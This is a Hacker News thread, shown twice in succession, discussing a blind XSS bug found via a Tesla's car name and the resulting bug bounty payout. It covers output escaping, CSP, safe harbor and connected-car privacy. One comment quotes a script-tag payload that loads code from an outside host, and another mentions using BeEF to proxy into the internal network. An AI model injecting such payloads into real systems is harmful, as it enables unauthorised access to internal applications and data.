14 ms·

Cracking My Windshield and Earning $10k on the Tesla Bug Bounty Program

574 points by EdOverflow 7y ago

gibolt 7y ago
What a great response and turnaround. Bug as fixed within 24 hours and paid out within a month. I wouldn't expect any other car manufacturer to respond ever, most don't even own their software stack.
- Someone1234 7y ago
  A lot of other vehicle manufacturers couldn't anyway, they don't build the infotainment systems in-house, they simply just re-theme/re-badge the units from companies like Panasonic, Pioneer, Fujitsu-Ten, etc. So if they got a bug report it would have to travel through ten layers of indirection before an engineer got to read it (let alone understand/respond). Particularly when there might be two or three different written word languages used between consumer and engineer (e.g. English -> Japanese -> Mandarin (Taiwan)). Tesla (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units.
  - HeWhoLurksLate 7y ago
    Tessa (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units. Isn't being different great sometimes?
  - gambiting 7y ago
    I've tried reporting a bug where on a 2016 Mercedes GLA if you're playing MP3s from a USB stick the car will remember the track to play but nothing else about it, so after coming back the same track plays but with the wrong name, wrong album art, etc etc. It's literally impossible to. The dealer said they have no way to do that except for just flashing my car with a newer FW and hoping it fixes it(it didn't), messaging Mercedes UK yields no reply, posting on their official forums yields no reply.....I just gave up after a while.
  - ChicagoBoy11 7y ago
    I had to rent a ton of cars over the past year before finally buying one and always remarked out how shitty the infotainment systems were, and that the only one which didn't actively piss me off was Ford's. Now I know why!
inlined 7y ago
> On a final note, Tesla’s bug bounty program is fantastic. They provide a safe haven for researchers who are in good-faith trying to hack their cars. If you accidentally brick one, they’ll even offer support in attempting to fix it. This is an amazingly open and refreshing policy!
- hanniabu 7y ago
  Does this mean you can legally mod your car under the guise of hacking it?
  - whatshisface 7y ago
    It's not illegal to have a NO2 factory in your garage, it's illegal to drive it on the roads. A good-faith emissions control hacking would probably not involve long-distance highway driving or racing.
    - hanniabu 7y ago
      I was thinking you wouldn't have to tell Tesla this, but it's a good point because the car is connected so they would know if you were driving it or not.
  - aphextim 7y ago
    Maybe if you only drive in a private property and not public roads. Probably like aftermarket modifications currently.
    - aphextim 7y ago
      This topic made me think of a funny old video of a farmer who put a turbo on his tractor. Probably illegal to drive this on any public road, however on his own property/private roads he is having a blast. https://www.youtube.com/watch?v=IZZpAO0jP7E https://www.youtube.com/watch?v=IZZpAO0jP7E
      - 7y ago
deleted 7y ago
[deleted]
samnwa 7y ago
That was an awesome summary and a good example of the value of bug bounty programs.
jxcl 7y ago
This bug probably existed because some developer thought "this is an internal application, I don't need to apply the same rigorous input/(edit: and output, as replies point out) sanitation as I do with normal sites because it's only accessible by VPN." As a consultant that gets to see a lot of "internal only" applications, this is one of the misconceptions that me and my coworkers try to fight against. XSS is effective even if the attacker doesn't have access to the internal application, because it's not the attacker's computer making the requests.
- trilila 7y ago
  Normally, it would not be the input to be sanitised, but rather the output properly formatted. It's easier to make sure that ANY type of input is shown properly, as opposed to eliminating SOME of the known issues.
- ec109685 7y ago
  Output sanitization is what you want to bet on. Only your website / app knows where a piece of data will be displayed, so that is when you should apply appropriate encoding of the output stream.
  - gowld 7y ago
    Can you (or another commenter) give an illustration of this sort of output sanitation?
    - jxcl 7y ago
      If a user has a bracket character in any field, it's OK to allow it, as long as you don't render it directly in any HTML. You have to make sure that when you render it you render it as `<` or `>`, which get displayed as `<`, or `>`, but aren't interpreted as HTML.
      - trilila 7y ago
        Correct. And one reason to properly format for output, rather than sanitise input is because you do not know how the string might be used. I mean you can sanitise for HTML output, but it won't cover shell command output (i.e.: when you pass the string as a parameter to a tool via --vehicle-name=). Thus input is to be stored as is, and NEVER trusted even if some input sources "sanitise" it.
Johnny555 7y ago
Interestingly, the car returned the (current?) speed: Speed: 81 mph I wonder if that, coupled with the GPS info (which wasn't included in the data returned, but I assume the car knows it) would be sufficient to issue a speeding ticket if the government had access to the data?
- ars 7y ago
  A car's self reported speed is not accurate enough - for example if you slip on gravel or ice, the reported speed would momentarily be higher.
  - deleted 7y ago
    [deleted]
  - rightbyte 7y ago
    Or if you are braking it will be lower.
- danaur 7y ago
  Some insurance companies are already doing this I think where they attach things to your car and if you stay under the speed limit you get discounts on your payments
  - hobofromabroad 7y ago
    There are also companies like The Flow that offer that data directly from mobile devices via an app.
  - floatrock 7y ago
    MetroMile does this with an OBD-II device... their niche is insurance for low-mileage vehicles, and they track your mileage with a dongle device that must always be plugged in. Seems like a huge information asymmetry, though. Anyone who's ever dealt with an insurance claim knows that they find any nitpick to get out of payments... having an insurance provider that can say "actually we don't owe you anything because according to our black box, you were 2 mph over the speed limit therefore you were negligent" seems like it defeats the purpose of having insurance. I like the idea of more accurate pricing based on actual (low) usage, but I don't like that it gives them a disproportionately larger surface area for their lawyers to find technicalities that gets them out of paying claims. When the tollbooth transponders came out, they explicitly said "this will never be used to issue speeding tickets" even though all the data was there... I don't believe MetroMile makes any similar promise.
benj111 7y ago
I share my birthday with a car. I'm unsure how to feel about this, probably better than sharing it with Rupert Murdoch, but worse than sharing it with Douglas Adams.
nickip 7y ago
What would the fix for this be? Enabling CORS only for `https://garage.vn.teslamotors.com` https://garage.vn.teslamotors.com`?
- bzbarsky 7y ago
  CORS won't do it, because it protects the response target, not the response source. CSP would do the trick, though. The other fix is properly escaping things before sticking them in your markup.
  - runeks 7y ago
    > The other fix is properly escaping things before sticking them in your markup. Or simply not displaying user data using a markup language with built-in remote code execution.
    - bzbarsky 7y ago
      Well, yes, there are various levels of "thinking outside the box" here that could be applied.
- bhhaskin 7y ago
  That would be a good first step, but more importantly making sure any content is rendered in a safe way. In this instance safe means making sure HTML entities are properly encoded and escaped.
  - ryacko 7y ago
    There is no reason why an internal interface needs to be in a browser, or a browser with access to the internet.
    - Someone1234 7y ago
      There's no reason why it shouldn't be either. The page being discussed is accessed by Tesla garages all over the country (and potentially internationally), creating a web app on an intranet site makes a lot of sense (for single point of update, single point of support, and the ability to run across diverse user devices). Particularly as the raw data always need to come from Tesla's HQ either way. As to if the same garage machine should also have access to the internet, I cannot speak to that, it depends what else it is being used for (e.g. showing customers Tesla's public facing website for example, accessing third party vendor's inventory systems, research, etc). No platform is immune from insecure usage. Not desktop software. Not terminal emulators. Not even mobile apps. That's particularly true when the context you're stealing information from is the same as the context you're attempting to run evil code.
simonebrunozzi 7y ago
We should always, always plaude and praise companies that are at least this serious about bounty programs. Two years ago, despite I wouldn't call myself the deepest technical person on the planet, I found a terrible bug that exposed 1.1M records for a bay area startup. (edit: the bug was really easy to find, it was a form of URL injection. I couldn't even believe that bug was there in the first place). I reached out to them multiple times, only to realize they were going to ignore me in perpetuity. I didn't even want money, I would have been happy just to see the bug fixed. (I never helped fix a bug that another company had). Nada. A less scrupulous person would have sold that information and exposed data for 1.1M people. I am not naming the company here, even though they would totally deserve it.
- brailsafe 7y ago
  Please become less scrupulous! If that bug isn't fixed, that's just another in a long line of disposable bay area startups run by rich careless people—certainly none of which lurk on HN—who treat sensitive customer information like used tissue. I'm sure there's a way to do it where you don't expose the data, but I'd thinknofnit as a favour to a million people.
- SkyBelow 7y ago
  >I am not naming the company here, even though they would totally deserve it. I do wonder to what extent the culture itself of how we approach bugs is designed to benefit companies over consumers. That we avoid naming and shaming due to a chilling effect of blow back, that we have disclosure windows, that the legal framework for reporting bugs is so flaky, that we are all accustomed to bad security practices and getting our data hacked, it all feels like it is architected to benefit companies who rarely suffer from hacks (sometimes there is a significant cost, but that rarely outweighs the profits). It reminds me of identity theft. The entire concept that you lost money because your identity was stolen from you, that the bank (or other company) who feel for the fake victim isn't even a party to the actual crime, pushes the costs onto consumers. Instead of seeing it as the banks being the victim and thus responsible to bear the costs that aren't recoverable from the criminals, is is their customers who are. Thus it reduces the cost to the bank of poor identity management. An entire culture that offloads the costs of the bank's penny pinching onto consumers. Another such examples is when the early automotive industry pushed for people to view jay walking as the crime, shifting blame onto pedestrians for being in the way of cars.
driverdan 7y ago
This is a great example of why it's terrible to have a car that can be remote controlled including the ability to push arbitrary updates. It should not be possible to use XSS to compromise a vehicle.
- trilila 7y ago
  Following this logic, nothing should be remotely controlled because there might be security risks. Including OS updates to laptops.
  - driverdan 7y ago
    Correct. No one should be able to push out arbitrary code without explicit user approval.
    - SquareWheel 7y ago
      Users have a terrible habit of not running updates. Years of botnets suggest that automatic updates are probably the way to go.
    - Sohcahtoa82 7y ago
      In a perfect world, where all users are smart, sure. But we're living in a world where there are still people running unpatched Windows XP boxes still vulnerable to MS08-067. If it weren't for Windows automatically installing updates, I imagine at least half of home users would still be vulnerable to Eternal Blue.
  - Marinlemaignan 7y ago
    sure but your laptop isn't gonna drive you straight into a wall, would he ?
- gowld 7y ago
  XSS compromised a remote web app, not the vehicle. The vehicle hacked Tesla HQ, not vice versa
komali2 7y ago
I mentioned this to my coworkers who brought up something I hadn't thought of - would this be illegal in the USA via something such as CFAA? https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act He technically accessed Tesla's dashboard without authorization, for example.
- jerf 7y ago
  Tesla authorizes certain activities through their Bug Bounty program: https://bugcrowd.com/tesla https://bugcrowd.com/tesla This is the first clause in the "in scope" section, so it is not unauthorized. It would be bad if he used this to just wander around in their website, though. Nobody's contested whether this is worth a $10,000 payout yet, but this seems a decent place to point out that using https://beefproject.com https://beefproject.com , you can use that XSS vulnerability as a reverse proxy back into Tesla's network, and browse through the support site authenticated as the user currently accessing the XSS payload. This isn't just an XSS, it was a authentication bypass that a real attacker could have leveraged into access into that internal web site full of sensitive info in just a few minutes.
- EdOverflow 7y ago
  (Obligatory: I am not a lawyer) This is what the "safe harbor" that the author was referring to is supposed to cover. > Tesla considers that a pre-approved, good-faith security researcher who complies with this policy to access a computer on a research-registered vehicle has not accessed a computer without authorization or exceeded authorized access under the Computer Fraud and Abuse Act ("CFAA"). [1] *.teslamotors.com, which is where the blind XSS payload fired, is in scope and therefore the safe harbor covers that asset too. For more on bug bounty safe harbors, I would highly recommend taking a look at Amit Elazari's work at https://amitelazari.com/%23legalbugbounty-hof https://amitelazari.com/%23legalbugbounty-hof and https://github.com/edoverflow/legal-bug-bounty https://github.com/edoverflow/legal-bug-bounty. [1]: https://bugcrowd.com/tesla https://bugcrowd.com/tesla
j0e1 7y ago
Tangentially, how long did it take to get the windshield fixed? I've heard horror stories about their service.
- zlz123 7y ago
  I'm yet to fix it because the crack isn't too bad yet. Their windshield replacement is through retailers who fit their standards and not Tesla directly so I assume it won't be too bad as all they have to do is ship the wind screen.
Zenst 7y ago
That's impressive, a support process that is responsive, don't mess about and fair. Companies around the World could learn something from this. They probably won't, but they certainly all could.
jcampbell1 7y ago
The trend of storing auth tokens in localStorage rather than httpOnly cookies is a problematic trend due to vulnerabilities like this. If you can exfiltrate an authtoken then one gets long lived access to the system.
AdamN 7y ago
The real thing you realize here is that Tesla is a software company (and it will eat the world). Getting a hotfix out that fast is the proof in the pudding.
redpilldealer 7y ago
Nice to see Sam reached the front page of hacker news!
tlrobinson 7y ago
I can imagine the support call: > Did you really name your Tesla "><script src=//zlz.xss.ht></script>? > Oh, yes, little Bobby ScriptSrc, we call him.
brokenmachine 7y ago
All the comments on here seem to be praising Tesla for paying a bug bounty, but I'm just sitting here horrified at how much information a phone support guy is able to view remotely about owners cars, not to mention the ability to send OTA updates. No way am I buying a connected car.
- reallydontask 7y ago
  I think you might be out of options soon, if you want a new car that is. A while longer for used cars obviously. Once all new cars are connected, the DuckDuckGo of cars will launch soon thereafter with the promise of a privacy centric connected car :)

574 points by EdOverflow 7y ago

What a great response and turnaround. Bug as fixed within 24 hours and paid out within a month. I wouldn't expect any other car manufacturer to respond ever, most don't even own their software stack.

Someone1234 7y ago
A lot of other vehicle manufacturers couldn't anyway, they don't build the infotainment systems in-house, they simply just re-theme/re-badge the units from companies like Panasonic, Pioneer, Fujitsu-Ten, etc. So if they got a bug report it would have to travel through ten layers of indirection before an engineer got to read it (let alone understand/respond). Particularly when there might be two or three different written word languages used between consumer and engineer (e.g. English -> Japanese -> Mandarin (Taiwan)). Tesla (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units.
- HeWhoLurksLate 7y ago
  Tessa (and Ford previously) were actually oddballs in that they didn't use "off the shelf" infotainment units. Isn't being different great sometimes?
- gambiting 7y ago
  I've tried reporting a bug where on a 2016 Mercedes GLA if you're playing MP3s from a USB stick the car will remember the track to play but nothing else about it, so after coming back the same track plays but with the wrong name, wrong album art, etc etc. It's literally impossible to. The dealer said they have no way to do that except for just flashing my car with a newer FW and hoping it fixes it(it didn't), messaging Mercedes UK yields no reply, posting on their official forums yields no reply.....I just gave up after a while.
- ChicagoBoy11 7y ago
  I had to rent a ton of cars over the past year before finally buying one and always remarked out how shitty the infotainment systems were, and that the only one which didn't actively piss me off was Ford's. Now I know why!

inlined 7y ago

> On a final note, Tesla’s bug bounty program is fantastic. They provide a safe haven for researchers who are in good-faith trying to hack their cars. If you accidentally brick one, they’ll even offer support in attempting to fix it. This is an amazingly open and refreshing policy!

hanniabu 7y ago
Does this mean you can legally mod your car under the guise of hacking it?
- whatshisface 7y ago
  It's not illegal to have a NO2 factory in your garage, it's illegal to drive it on the roads. A good-faith emissions control hacking would probably not involve long-distance highway driving or racing.
  - hanniabu 7y ago
    I was thinking you wouldn't have to tell Tesla this, but it's a good point because the car is connected so they would know if you were driving it or not.
- aphextim 7y ago
  Maybe if you only drive in a private property and not public roads. Probably like aftermarket modifications currently.
  - aphextim 7y ago
    This topic made me think of a funny old video of a farmer who put a turbo on his tractor. Probably illegal to drive this on any public road, however on his own property/private roads he is having a blast. https://www.youtube.com/watch?v=IZZpAO0jP7E https://www.youtube.com/watch?v=IZZpAO0jP7E
    - 7y ago

deleted 7y ago

[deleted]

samnwa 7y ago

That was an awesome summary and a good example of the value of bug bounty programs.

jxcl 7y ago

This bug probably existed because some developer thought "this is an internal application, I don't need to apply the same rigorous input/(edit: and output, as replies point out) sanitation as I do with normal sites because it's only accessible by VPN." As a consultant that gets to see a lot of "internal only" applications, this is one of the misconceptions that me and my coworkers try to fight against. XSS is effective even if the attacker doesn't have access to the internal application, because it's not the attacker's computer making the requests.

trilila 7y ago
Normally, it would not be the input to be sanitised, but rather the output properly formatted. It's easier to make sure that ANY type of input is shown properly, as opposed to eliminating SOME of the known issues.
ec109685 7y ago
Output sanitization is what you want to bet on. Only your website / app knows where a piece of data will be displayed, so that is when you should apply appropriate encoding of the output stream.
- gowld 7y ago
  Can you (or another commenter) give an illustration of this sort of output sanitation?
  - jxcl 7y ago
    If a user has a bracket character in any field, it's OK to allow it, as long as you don't render it directly in any HTML. You have to make sure that when you render it you render it as `<` or `>`, which get displayed as `<`, or `>`, but aren't interpreted as HTML.
    - trilila 7y ago
      Correct. And one reason to properly format for output, rather than sanitise input is because you do not know how the string might be used. I mean you can sanitise for HTML output, but it won't cover shell command output (i.e.: when you pass the string as a parameter to a tool via --vehicle-name=). Thus input is to be stored as is, and NEVER trusted even if some input sources "sanitise" it.

Johnny555 7y ago

Interestingly, the car returned the (current?) speed: Speed: 81 mph I wonder if that, coupled with the GPS info (which wasn't included in the data returned, but I assume the car knows it) would be sufficient to issue a speeding ticket if the government had access to the data?

ars 7y ago
A car's self reported speed is not accurate enough - for example if you slip on gravel or ice, the reported speed would momentarily be higher.
- deleted 7y ago
  [deleted]
- rightbyte 7y ago
  Or if you are braking it will be lower.
danaur 7y ago
Some insurance companies are already doing this I think where they attach things to your car and if you stay under the speed limit you get discounts on your payments
- hobofromabroad 7y ago
  There are also companies like The Flow that offer that data directly from mobile devices via an app.
- floatrock 7y ago
  MetroMile does this with an OBD-II device... their niche is insurance for low-mileage vehicles, and they track your mileage with a dongle device that must always be plugged in. Seems like a huge information asymmetry, though. Anyone who's ever dealt with an insurance claim knows that they find any nitpick to get out of payments... having an insurance provider that can say "actually we don't owe you anything because according to our black box, you were 2 mph over the speed limit therefore you were negligent" seems like it defeats the purpose of having insurance. I like the idea of more accurate pricing based on actual (low) usage, but I don't like that it gives them a disproportionately larger surface area for their lawyers to find technicalities that gets them out of paying claims. When the tollbooth transponders came out, they explicitly said "this will never be used to issue speeding tickets" even though all the data was there... I don't believe MetroMile makes any similar promise.

benj111 7y ago

I share my birthday with a car. I'm unsure how to feel about this, probably better than sharing it with Rupert Murdoch, but worse than sharing it with Douglas Adams.

nickip 7y ago

What would the fix for this be? Enabling CORS only for `https://garage.vn.teslamotors.com` https://garage.vn.teslamotors.com`?

bzbarsky 7y ago
CORS won't do it, because it protects the response target, not the response source. CSP would do the trick, though. The other fix is properly escaping things before sticking them in your markup.
- runeks 7y ago
  > The other fix is properly escaping things before sticking them in your markup. Or simply not displaying user data using a markup language with built-in remote code execution.
  - bzbarsky 7y ago
    Well, yes, there are various levels of "thinking outside the box" here that could be applied.
bhhaskin 7y ago
That would be a good first step, but more importantly making sure any content is rendered in a safe way. In this instance safe means making sure HTML entities are properly encoded and escaped.
- ryacko 7y ago
  There is no reason why an internal interface needs to be in a browser, or a browser with access to the internet.
  - Someone1234 7y ago
    There's no reason why it shouldn't be either. The page being discussed is accessed by Tesla garages all over the country (and potentially internationally), creating a web app on an intranet site makes a lot of sense (for single point of update, single point of support, and the ability to run across diverse user devices). Particularly as the raw data always need to come from Tesla's HQ either way. As to if the same garage machine should also have access to the internet, I cannot speak to that, it depends what else it is being used for (e.g. showing customers Tesla's public facing website for example, accessing third party vendor's inventory systems, research, etc). No platform is immune from insecure usage. Not desktop software. Not terminal emulators. Not even mobile apps. That's particularly true when the context you're stealing information from is the same as the context you're attempting to run evil code.

simonebrunozzi 7y ago

We should always, always plaude and praise companies that are at least this serious about bounty programs. Two years ago, despite I wouldn't call myself the deepest technical person on the planet, I found a terrible bug that exposed 1.1M records for a bay area startup. (edit: the bug was really easy to find, it was a form of URL injection. I couldn't even believe that bug was there in the first place). I reached out to them multiple times, only to realize they were going to ignore me in perpetuity. I didn't even want money, I would have been happy just to see the bug fixed. (I never helped fix a bug that another company had). Nada. A less scrupulous person would have sold that information and exposed data for 1.1M people. I am not naming the company here, even though they would totally deserve it.

brailsafe 7y ago
Please become less scrupulous! If that bug isn't fixed, that's just another in a long line of disposable bay area startups run by rich careless people—certainly none of which lurk on HN—who treat sensitive customer information like used tissue. I'm sure there's a way to do it where you don't expose the data, but I'd thinknofnit as a favour to a million people.
SkyBelow 7y ago
>I am not naming the company here, even though they would totally deserve it. I do wonder to what extent the culture itself of how we approach bugs is designed to benefit companies over consumers. That we avoid naming and shaming due to a chilling effect of blow back, that we have disclosure windows, that the legal framework for reporting bugs is so flaky, that we are all accustomed to bad security practices and getting our data hacked, it all feels like it is architected to benefit companies who rarely suffer from hacks (sometimes there is a significant cost, but that rarely outweighs the profits). It reminds me of identity theft. The entire concept that you lost money because your identity was stolen from you, that the bank (or other company) who feel for the fake victim isn't even a party to the actual crime, pushes the costs onto consumers. Instead of seeing it as the banks being the victim and thus responsible to bear the costs that aren't recoverable from the criminals, is is their customers who are. Thus it reduces the cost to the bank of poor identity management. An entire culture that offloads the costs of the bank's penny pinching onto consumers. Another such examples is when the early automotive industry pushed for people to view jay walking as the crime, shifting blame onto pedestrians for being in the way of cars.

driverdan 7y ago

This is a great example of why it's terrible to have a car that can be remote controlled including the ability to push arbitrary updates. It should not be possible to use XSS to compromise a vehicle.

trilila 7y ago
Following this logic, nothing should be remotely controlled because there might be security risks. Including OS updates to laptops.
- driverdan 7y ago
  Correct. No one should be able to push out arbitrary code without explicit user approval.
  - SquareWheel 7y ago
    Users have a terrible habit of not running updates. Years of botnets suggest that automatic updates are probably the way to go.
  - Sohcahtoa82 7y ago
    In a perfect world, where all users are smart, sure. But we're living in a world where there are still people running unpatched Windows XP boxes still vulnerable to MS08-067. If it weren't for Windows automatically installing updates, I imagine at least half of home users would still be vulnerable to Eternal Blue.
- Marinlemaignan 7y ago
  sure but your laptop isn't gonna drive you straight into a wall, would he ?
gowld 7y ago
XSS compromised a remote web app, not the vehicle. The vehicle hacked Tesla HQ, not vice versa

komali2 7y ago

I mentioned this to my coworkers who brought up something I hadn't thought of - would this be illegal in the USA via something such as CFAA? https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act He technically accessed Tesla's dashboard without authorization, for example.

jerf 7y ago
Tesla authorizes certain activities through their Bug Bounty program: https://bugcrowd.com/tesla https://bugcrowd.com/tesla This is the first clause in the "in scope" section, so it is not unauthorized. It would be bad if he used this to just wander around in their website, though. Nobody's contested whether this is worth a $10,000 payout yet, but this seems a decent place to point out that using https://beefproject.com https://beefproject.com , you can use that XSS vulnerability as a reverse proxy back into Tesla's network, and browse through the support site authenticated as the user currently accessing the XSS payload. This isn't just an XSS, it was a authentication bypass that a real attacker could have leveraged into access into that internal web site full of sensitive info in just a few minutes.
EdOverflow 7y ago
(Obligatory: I am not a lawyer) This is what the "safe harbor" that the author was referring to is supposed to cover. > Tesla considers that a pre-approved, good-faith security researcher who complies with this policy to access a computer on a research-registered vehicle has not accessed a computer without authorization or exceeded authorized access under the Computer Fraud and Abuse Act ("CFAA"). [1] *.teslamotors.com, which is where the blind XSS payload fired, is in scope and therefore the safe harbor covers that asset too. For more on bug bounty safe harbors, I would highly recommend taking a look at Amit Elazari's work at https://amitelazari.com/%23legalbugbounty-hof https://amitelazari.com/%23legalbugbounty-hof and https://github.com/edoverflow/legal-bug-bounty https://github.com/edoverflow/legal-bug-bounty. [1]: https://bugcrowd.com/tesla https://bugcrowd.com/tesla

j0e1 7y ago

Tangentially, how long did it take to get the windshield fixed? I've heard horror stories about their service.

zlz123 7y ago
I'm yet to fix it because the crack isn't too bad yet. Their windshield replacement is through retailers who fit their standards and not Tesla directly so I assume it won't be too bad as all they have to do is ship the wind screen.

Zenst 7y ago

That's impressive, a support process that is responsive, don't mess about and fair. Companies around the World could learn something from this. They probably won't, but they certainly all could.

jcampbell1 7y ago

The trend of storing auth tokens in localStorage rather than httpOnly cookies is a problematic trend due to vulnerabilities like this. If you can exfiltrate an authtoken then one gets long lived access to the system.

AdamN 7y ago

The real thing you realize here is that Tesla is a software company (and it will eat the world). Getting a hotfix out that fast is the proof in the pudding.

redpilldealer 7y ago

Nice to see Sam reached the front page of hacker news!

tlrobinson 7y ago

I can imagine the support call: > Did you really name your Tesla "><script src=//zlz.xss.ht></script>? > Oh, yes, little Bobby ScriptSrc, we call him.

brokenmachine 7y ago

All the comments on here seem to be praising Tesla for paying a bug bounty, but I'm just sitting here horrified at how much information a phone support guy is able to view remotely about owners cars, not to mention the ability to send OTA updates. No way am I buying a connected car.

reallydontask 7y ago
I think you might be out of options soon, if you want a new car that is. A while longer for used cars obviously. Once all new cars are connected, the DuckDuckGo of cars will launch soon thereafter with the promise of a privacy centric connected car :)